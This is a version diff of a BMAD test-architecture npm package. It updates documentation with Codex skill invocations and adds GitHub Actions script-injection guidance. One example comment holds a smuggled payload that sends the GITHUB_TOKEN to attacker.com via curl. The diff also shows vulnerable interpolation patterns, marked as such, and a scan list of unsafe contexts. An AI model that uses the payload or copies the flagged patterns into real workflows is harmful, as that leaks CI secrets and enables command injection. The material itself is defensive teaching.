bmad-method-test-architecture-enterprise 1.4.1 → 1.5.1

package/README.md

@@ -54,7 +54,7 @@ flowchart LR
 
 ### How It Works at Runtime
 
-1. **Trigger** — User types `/bmad:tea:automate` (or shorthand `TA`). The agent menu in `tea.agent.yaml` maps the trigger to `automate/workflow.yaml`.
+1. **Trigger** — Direct commands are `/bmad:tea:automate` (Claude/Cursor/Windsurf) and `$bmad-tea-testarch-automate` (Codex). `TA` is an agent-menu trigger available only after TEA is activated; the menu in `tea.agent.yaml` maps `TA` to `automate/workflow.yaml`.
 2. **Agent loads** — `tea.agent.yaml` injects the persona (identity, principles, critical actions) into the context window.
 3. **Workflow loads** — `workflow.yaml` resolves config variables and `workflow.md` presents the mode menu (Create / Edit / Validate), then routes to the first step file.
 4. **Step-by-step execution** — Only the current step file is in context (just-in-time loading). Each step explicitly names the next one (`nextStepFile: './step-02-...'`). The LLM reads, executes, saves output, then loads the next step. No future steps are ever preloaded.
@@ -81,9 +81,9 @@ BMad workflows and Claude Code Skills solve different problems at different scal
 
 The key insight is that there is **no external runtime engine** — the LLM _is_ the engine. BMad workflows are structured markdown that the LLM follows as instructions: "read this file, execute it completely, save your output, load the next file." Skills are a single tool in a toolbox; BMad workflows are a workshop with a process manual.
 
-**How workflows become commands.** When you run `npx bmad-method install`, the installer converts every workflow and agent into a Claude Code command in `.claude/commands/`. For example, `bmad-tea-testarch-automate.md` tells the LLM: "load the core workflow engine (`workflow.xml`), pass it this workflow config (`automate/workflow.yaml`), follow the instructions exactly." That single command file is the bridge — it triggers the workflow entry point; the multi-step engine takes over from there.
+**How workflows become commands.** When you run `npx bmad-method install`, the installer generates tool-specific artifacts for your runtime (for example, Claude Code uses `.claude/commands/`, while Codex uses `.agents/skills/`). In Claude Code, `bmad-tea-testarch-automate.md` tells the LLM: "load the core workflow engine (`workflow.xml`), pass it this workflow config (`automate/workflow.yaml`), follow the instructions exactly." That launcher artifact is the bridge — it triggers the workflow entry point; the multi-step engine takes over from there.
 
-```
+```text
 .claude/commands/                         # Generated by installer
 ├── bmad-agent-tea-tea.md                 # /tea → loads agent persona + menu
 ├── bmad-tea-testarch-automate.md         # /automate → loads workflow.xml + workflow.yaml
@@ -103,13 +103,20 @@ npx bmad-method install
 
 **Note:** TEA is automatically added to party mode after installation. Use `/party` to collaborate with TEA alongside other BMad agents.
 
+### Tool-specific invocation
+
+| Tool                            | Invocation style                | Example                       |
+| ------------------------------- | ------------------------------- | ----------------------------- |
+| Claude Code / Cursor / Windsurf | Slash command                   | `/bmad:tea:automate`          |
+| Codex                           | `$` skill from `.agents/skills` | `$bmad-tea-testarch-automate` |
+
 ## Quickstart
 
 1. Install TEA (above)
 2. Run one of the core workflows:
-   - `TD` / `/bmad:tea:test-design` — test design and risk assessment
-   - `AT` / `/bmad:tea:atdd` — failing acceptance tests first (TDD red phase)
-   - `TA` / `/bmad:tea:automate` — expand automation coverage
+   - `TD` / `/bmad:tea:test-design` / `$bmad-tea-testarch-test-design` — test design and risk assessment
+   - `AT` / `/bmad:tea:atdd` / `$bmad-tea-testarch-atdd` — failing acceptance tests first (TDD red phase)
+   - `TA` / `/bmad:tea:automate` / `$bmad-tea-testarch-automate` — expand automation coverage
 3. Or use in party mode: `/party` to include TEA with other agents
 
 ## Engagement Models
@@ -121,17 +128,17 @@ npx bmad-method install
 
 ## Workflows
 
-| Trigger | Command                      | Purpose                                                   |
-| ------- | ---------------------------- | --------------------------------------------------------- |
-| TMT     | `/bmad:tea:teach-me-testing` | Teach Me Testing (TEA Academy)                            |
-| TF      | `/bmad:tea:framework`        | Scaffold test framework (frontend, backend, or fullstack) |
-| CI      | `/bmad:tea:ci`               | Set up CI/CD quality pipeline (multi-platform)            |
-| TD      | `/bmad:tea:test-design`      | System-level or epic-level test design                    |
-| AT      | `/bmad:tea:atdd`             | Generate failing acceptance tests + checklist             |
-| TA      | `/bmad:tea:automate`         | Expand test automation coverage                           |
-| RV      | `/bmad:tea:test-review`      | Review test quality and score                             |
-| TR      | `/bmad:tea:trace`            | Trace requirements to tests + gate decision               |
-| NR      | `/bmad:tea:nfr-assess`       | Assess non-functional requirements                        |
+| Trigger | Slash Command                | Codex Skill                      | Purpose                                                   |
+| ------- | ---------------------------- | -------------------------------- | --------------------------------------------------------- |
+| TMT     | `/bmad:tea:teach-me-testing` | `$bmad-tea-teach-me-testing`     | Teach Me Testing (TEA Academy)                            |
+| TF      | `/bmad:tea:framework`        | `$bmad-tea-testarch-framework`   | Scaffold test framework (frontend, backend, or fullstack) |
+| CI      | `/bmad:tea:ci`               | `$bmad-tea-testarch-ci`          | Set up CI/CD quality pipeline (multi-platform)            |
+| TD      | `/bmad:tea:test-design`      | `$bmad-tea-testarch-test-design` | System-level or epic-level test design                    |
+| AT      | `/bmad:tea:atdd`             | `$bmad-tea-testarch-atdd`        | Generate failing acceptance tests + checklist             |
+| TA      | `/bmad:tea:automate`         | `$bmad-tea-testarch-automate`    | Expand test automation coverage                           |
+| RV      | `/bmad:tea:test-review`      | `$bmad-tea-testarch-test-review` | Review test quality and score                             |
+| TR      | `/bmad:tea:trace`            | `$bmad-tea-testarch-trace`       | Trace requirements to tests + gate decision               |
+| NR      | `/bmad:tea:nfr-assess`       | `$bmad-tea-testarch-nfr`         | Assess non-functional requirements                        |
 
 ## Configuration
 

package/docs/MIGRATION.md

@@ -36,6 +36,10 @@ All TEA commands have changed namespace from `/bmad:bmm:tea:*` to `/bmad:tea:*`.
 | `TF`, `CI`, `TD`, `AT`, `TA`   | Same                     |
 | `RV`, `TR`, `NR`               | Same                     |
 
+Codex skill-mode workflow equivalents: `framework` → `$bmad-tea-testarch-framework`, `ci` → `$bmad-tea-testarch-ci`, `test-design` → `$bmad-tea-testarch-test-design`, `atdd` → `$bmad-tea-testarch-atdd`, `automate` → `$bmad-tea-testarch-automate`, `test-review` → `$bmad-tea-testarch-test-review`, `trace` → `$bmad-tea-testarch-trace`, `nfr-assess` → `$bmad-tea-testarch-nfr`, `teach-me-testing` → `$bmad-tea-teach-me-testing`.
+
+Clarification: short triggers like `TD` and `TA` are agent menu triggers after TEA activation; invocation differs by tool (slash commands vs Codex skill calls).
+
 **Action Required**: Update any saved prompts, scripts, or documentation that reference the old commands.
 
 ### 2. Module Installation
@@ -172,6 +176,8 @@ claude "/bmad:bmm:tea:test-design"
 claude "/bmad:tea:test-design"
 ```
 
+Codex skill mode (in Codex chat): `$bmad-tea-testarch-test-design`
+
 **Example: Updating Documentation**
 
 ```markdown
@@ -184,6 +190,8 @@ Run `/bmad:bmm:tea:automate` to expand test coverage.
 Run `/bmad:tea:automate` to expand test coverage.
 ```
 
+Codex skill-mode equivalent: use `$bmad-tea-testarch-automate`.
+
 ### Step 4: Verify Installation
 
 Load the TEA agent and run a test command:
@@ -353,12 +361,15 @@ See [Configure Browser Automation](/docs/how-to/customization/configure-browser-
 
 **Solution**: Update to new namespace:
 
-```bash
+```text
 # Old (won't work)
 /bmad:bmm:tea:test-design
 
 # New (correct)
 /bmad:tea:test-design
+
+# Codex skill mode
+$bmad-tea-testarch-test-design
 ```
 
 ### Issue: Configuration Variables Not Set
@@ -427,7 +438,7 @@ Use this checklist to ensure a smooth migration:
 - [ ] Verify BMAD Method version is v7.0.0 or later
 - [ ] Install standalone TEA module via `npx bmad-method install`
 - [ ] Configure TEA variables (test_artifacts, Playwright Utils, MCP)
-- [ ] Update saved prompts to use new namespace (`/bmad:tea:*`)
+- [ ] Update saved invocations for your tool (`/bmad:tea:*` for slash-command tools, or `$bmad-tea-*` skills for Codex)
 - [ ] Update documentation references to new commands
 - [ ] Update CI/CD scripts if they invoke TEA commands
 - [ ] Test each workflow you use (e.g., `test-design`, `automate`, `atdd`)

package/docs/how-to/customization/configure-browser-automation.md

@@ -33,7 +33,7 @@ npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
 playwright-cli install --skills          # Register as an agent skill
 ```
 
-The global npm install is one-time. The skills install (`playwright-cli install --skills`) should be run from your project root — it registers skills in your project's `.claude/skills/` directory (Claude Code, GitHub Copilot, and other coding agents that support the skills convention). Agents without skills support can still use the CLI directly via `playwright-cli --help`.
+The global npm install is one-time. The skills install (`playwright-cli install --skills`) should be run from your project root — it registers skills in your active tool's project skills directory (for example, Claude Code uses `.claude/skills/` and Codex uses `.agents/skills/`). Agents without skills support can still use the CLI directly via `playwright-cli --help`.
 
 ### For MCP (`mcp` or `auto` mode)
 

package/docs/reference/commands.md

@@ -7,6 +7,11 @@ description: Quick reference for all 9 TEA workflows - inputs, outputs, and link
 
 Quick reference for all 9 TEA (Test Engineering Architect) workflows. For detailed step-by-step guides, see the how-to documentation.
 
+**Invocation by tool:**
+
+- Claude Code / Cursor / Windsurf: use slash commands (for example, `/bmad:tea:automate`)
+- Codex: use `$` skills from `.agents/skills` (for example, `$bmad-tea-testarch-automate`)
+
 ## Quick Index
 
 - [`teach-me-testing`](#teach-me-testing) - Learn testing (TEA Academy)

package/docs/reference/troubleshooting.md

@@ -195,9 +195,13 @@ If the BMAD installer can run but cannot fetch the Test Architect module from Gi
    ```
 
 3. Test workflow trigger directly:
-   ```bash
-   # Try full command
+
+   ```text
+   # Try full slash command
    /bmad:tea:test-design
+
+   # Codex skill-mode alternative
+   $bmad-tea-testarch-test-design
    ```
 
 ---
@@ -685,7 +689,7 @@ When reporting issues, include:
 Check these first:
 
 - [ ] TEA is installed: `ls -la _bmad/tea/`
-- [ ] Using correct command namespace: `/bmad:tea:*` not `/bmad:bmm:tea:*`
+- [ ] Using the correct invocation for your tool: slash namespace `/bmad:tea:*` (not `/bmad:bmm:tea:*`) or Codex skill equivalents (`$bmad-tea-*`)
 - [ ] Module.yaml exists and is valid
 - [ ] Knowledge base files present (40 fragments)
 - [ ] Output directory exists and is writable

package/package.json

@@ -1,7 +1,7 @@
 {
   "$schema": "https://json.schemastore.org/package.json",
   "name": "bmad-method-test-architecture-enterprise",
-  "version": "1.4.1",
+  "version": "1.5.1",
   "description": "Master Test Architect for quality strategy, test automation, and release gates",
   "keywords": [
     "bmad",

package/release_notes.md

@@ -1,9 +1,10 @@
-## 🚀 What's New in v1.4.1
+## 🚀 What's New in v1.5.1
 
 ### 📦 Other Changes
-- docs: clarified how sub agents and agent teams work
-- addressed pr comments
-- Merge pull request #48 from bmad-code-org/docs/workers-subagents-agent-teams
+- docs: update codex skill mode
+- review comment
+- review comments 2
+- Merge pull request #50 from bmad-code-org/docs/update-codex-skill-mode
 
 
 ## 📦 Installation
@@ -13,4 +14,4 @@ npx bmad-method install
 # Select "Test Architect" from module menu
 ```
 
-**Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.4.0...v1.4.1
+**Full Changelog**: https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/compare/v1.5.0...v1.5.1

package/src/testarch/knowledge/ci-burn-in.md

@@ -8,6 +8,48 @@ CI pipelines must execute tests reliably, quickly, and provide clear feedback. B
 
 CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
 
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
 ## Pattern Examples
 
 ### Example 1: GitHub Actions Workflow with Parallel Execution

package/src/workflows/testarch/ci/checklist.md

@@ -161,6 +161,7 @@ Note: CI setup is typically a one-time task per repo and can be run any time aft
 - [ ] Environment variables for sensitive data
 - [ ] Artifact retention appropriate (not too long)
 - [ ] No debug output exposing secrets
+- [ ] **MUST**: No `${{ inputs.* }}` or user-controlled GitHub context (`github.event.pull_request.title`, `github.event.issue.body`, `github.event.comment.body`, `github.head_ref`) directly in `run:` blocks — all passed through `env:` intermediaries and referenced as `"$ENV_VAR"`
 
 ## Integration Points
 

package/src/workflows/testarch/ci/github-actions-template.yaml

@@ -208,3 +208,121 @@ jobs:
           if [ "${{ needs.burn-in.result }}" == "failure" ]; then
             echo "⚠️ **Flaky tests detected** - Review burn-in artifacts" >> $GITHUB_STEP_SUMMARY
           fi
+
+# ============================================================================
+# EXTENSION PATTERNS — Script Injection Prevention
+# ============================================================================
+# When extending this template into reusable workflows, manual dispatch
+# workflows, or composite actions, NEVER use ${{ inputs.* }} directly in
+# run: blocks. Always pass through env: intermediaries.
+#
+# KEY PRINCIPLE: Inputs must be DATA, not COMMANDS.
+# Pass inputs through env: and interpolate as quoted arguments into fixed
+# commands. NEVER accept command-shaped inputs (e.g., install-command,
+# test-command) that get executed as shell code — even through env:.
+#
+# --- Reusable Workflow (workflow_call) ---
+#
+# on:
+#   workflow_call:
+#     inputs:
+#       test-grep:
+#         description: 'Test grep filter (data only — not a command)'
+#         type: string
+#         required: false
+#         default: ''
+#       base-ref:
+#         description: 'Base branch for diff'
+#         type: string
+#         required: false
+#         default: 'main'
+#       burn-in-count:
+#         description: 'Number of burn-in iterations'
+#         type: string
+#         required: false
+#         default: '10'
+#
+# jobs:
+#   test:
+#     runs-on: ubuntu-latest
+#     steps:
+#       - uses: actions/checkout@v4
+#       # Fixed command — not derived from inputs
+#       - name: Install dependencies
+#         run: npm ci
+#       # ✅ SAFE — input is DATA passed as an argument to a fixed command
+#       - name: Run tests
+#         env:
+#           TEST_GREP: ${{ inputs.test-grep }}
+#         run: |
+#           # Security: inputs passed through env: to prevent script injection
+#           if [ -n "$TEST_GREP" ]; then
+#             npx playwright test --grep "$TEST_GREP"
+#           else
+#             npx playwright test
+#           fi
+#
+# --- Manual Dispatch (workflow_dispatch) ---
+#
+# on:
+#   workflow_dispatch:
+#     inputs:
+#       test-grep:
+#         description: 'Test grep filter (data only — not a command)'
+#         type: string
+#         required: false
+#       environment:
+#         description: 'Target environment'
+#         type: choice
+#         options: [staging, production]
+#
+# jobs:
+#   run-tests:
+#     runs-on: ubuntu-latest
+#     steps:
+#       - uses: actions/checkout@v4
+#       # ✅ SAFE — input is DATA interpolated into a fixed command
+#       - name: Run selected tests
+#         env:
+#           TEST_GREP: ${{ inputs.test-grep }}
+#         run: |
+#           # Security: inputs passed through env: to prevent script injection
+#           npx playwright test --grep "$TEST_GREP"
+#
+# --- Composite Action (action.yml) ---
+#
+# inputs:
+#   test-grep:
+#     description: 'Test grep filter (data only — not a command)'
+#     required: false
+#     default: ''
+#   burn-in-count:
+#     description: 'Number of burn-in iterations'
+#     required: false
+#     default: '10'
+#
+# runs:
+#   using: composite
+#   steps:
+#     # ✅ SAFE — inputs are DATA arguments to fixed commands
+#     - name: Run burn-in
+#       shell: bash
+#       env:
+#         TEST_GREP: ${{ inputs.test-grep }}
+#         BURN_IN_COUNT: ${{ inputs.burn-in-count }}
+#       run: |
+#         # Security: inputs passed through env: to prevent script injection
+#         for i in $(seq 1 "$BURN_IN_COUNT"); do
+#           echo "Burn-in iteration $i/$BURN_IN_COUNT"
+#           npx playwright test --grep "$TEST_GREP" || exit 1
+#         done
+#
+# ❌ NEVER DO THIS:
+#   # Direct ${{ inputs.* }} in run: — GitHub expression injection
+#   - run: npx playwright test --grep "${{ inputs.test-grep }}"
+#
+#   # Executing input-derived env var as a command — still command injection
+#   - env:
+#       CMD: ${{ inputs.test-command }}
+#     run: $CMD
+# ============================================================================

package/src/workflows/testarch/ci/steps-c/step-02-generate-pipeline.md

@@ -119,6 +119,44 @@ Use templates from `{installed_path}` when available. Adapt the template to the
 
 ---
 
+## Security: Script Injection Prevention
+
+> **CRITICAL:** Treat `${{ inputs.* }}` and the entire `${{ github.event.* }}` namespace as unsafe by default. ALWAYS route them through `env:` intermediaries and reference as double-quoted `"$ENV_VAR"` in `run:` blocks. NEVER interpolate them directly.
+
+When the generated pipeline is extended into reusable workflows (`on: workflow_call`), manual dispatch (`on: workflow_dispatch`), or composite actions, these values become user-controllable and can inject arbitrary shell commands.
+
+**Two rules for generated `run:` blocks:**
+
+1. **No direct interpolation** — pass unsafe contexts through `env:`, reference as `"$ENV_VAR"`
+2. **Inputs must be DATA, not COMMANDS** — never accept command-shaped inputs (e.g., `inputs.install-command`) that get executed as shell code. Even through `env:`, running `$CMD` where CMD comes from an input is still command injection. Use fixed commands and pass inputs only as arguments.
+
+```yaml
+# ✅ SAFE — input is DATA interpolated into a fixed command
+- name: Run tests
+  env:
+    TEST_GREP: ${{ inputs.test-grep }}
+  run: |
+    # Security: inputs passed through env: to prevent script injection
+    npx playwright test --grep "$TEST_GREP"
+
+# ❌ NEVER — direct GitHub expression injection
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test-grep }}"
+
+# ❌ NEVER — executing input-derived env var as a command
+- name: Install
+  env:
+    CMD: ${{ inputs.install-command }}
+  run: $CMD
+```
+
+Include a `# Security: inputs passed through env: to prevent script injection` comment in generated YAML wherever this pattern is applied.
+
+**Safe contexts** (do NOT need `env:` intermediaries): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}`.
+
+---
+
 ## 2. Pipeline Stages
 
 Include stages:

package/src/workflows/testarch/ci/steps-c/step-03-configure-quality-gates.md

@@ -48,6 +48,29 @@ Use `{knowledgeIndex}` to load `ci-burn-in.md` guidance:
 - **Frontend or Fullstack** (`test_stack_type` is `frontend` or `fullstack`): Enable burn-in by default. Burn-in targets UI flakiness (race conditions, selector instability, timing issues).
 - **Backend only** (`test_stack_type` is `backend`): Skip burn-in by default. Backend tests (unit, integration, API) are deterministic and rarely exhibit UI-related flakiness. If the user explicitly requests burn-in for backend, honor that override.
 
+**Security: Script injection prevention for reusable burn-in workflows:**
+
+When burn-in is extracted into a reusable workflow (`on: workflow_call`), all `${{ inputs.* }}` values MUST be passed through `env:` intermediaries and referenced as quoted `"$ENV_VAR"`. Never interpolate them directly.
+
+**Inputs must be DATA, not COMMANDS.** Do not accept command-shaped inputs (e.g., `inputs.install-command`, `inputs.test-command`) that get executed as shell code — even through `env:`, running `$CMD` is still command injection. Use fixed commands (e.g., `npm ci`, `npx playwright test`) and pass inputs only as data arguments.
+
+```yaml
+# ✅ SAFE — fixed commands with data-only inputs
+- name: Install dependencies
+  run: npm ci
+- name: Run burn-in loop
+  env:
+    TEST_GREP: ${{ inputs.test-grep }}
+    BURN_IN_COUNT: ${{ inputs.burn-in-count }}
+    BASE_REF: ${{ inputs.base-ref }}
+  run: |
+    # Security: inputs passed through env: to prevent script injection
+    for i in $(seq 1 "$BURN_IN_COUNT"); do
+      echo "Burn-in iteration $i/$BURN_IN_COUNT"
+      npx playwright test --grep "$TEST_GREP" || exit 1
+    done
+```
+
 ---
 
 ## 2. Quality Gates

package/src/workflows/testarch/ci/steps-v/step-01-validate.md

@@ -50,6 +50,20 @@ Read `{validationChecklist}` and list all criteria.
 
 Evaluate outputs against each checklist item.
 
+### 2a. Script Injection Scan
+
+Scan all generated YAML workflow files for unsafe interpolation patterns inside `run:` blocks.
+
+**Unsafe patterns to flag (FAIL):**
+
+- `${{ inputs.* }}` — all workflow inputs are user-controllable
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe by default (includes PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Detection method:** For each `run:` block in generated YAML, check if any of the above expressions appears in the run script body. If found, flag as **FAIL** with the exact line and recommend converting to the safe `env:` intermediary pattern (pass through `env:`, reference as double-quoted `"$ENV_VAR"`).
+
+**Safe patterns to ignore** (exempt from flagging): `${{ steps.*.outputs.* }}`, `${{ matrix.* }}`, `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}`, `${{ secrets.* }}`, `${{ env.* }}` — these are safe from GitHub expression injection when used in `run:` blocks.
+
 ### 3. Write Report
 
 Write a validation report to `{outputFile}` with PASS/WARN/FAIL per section.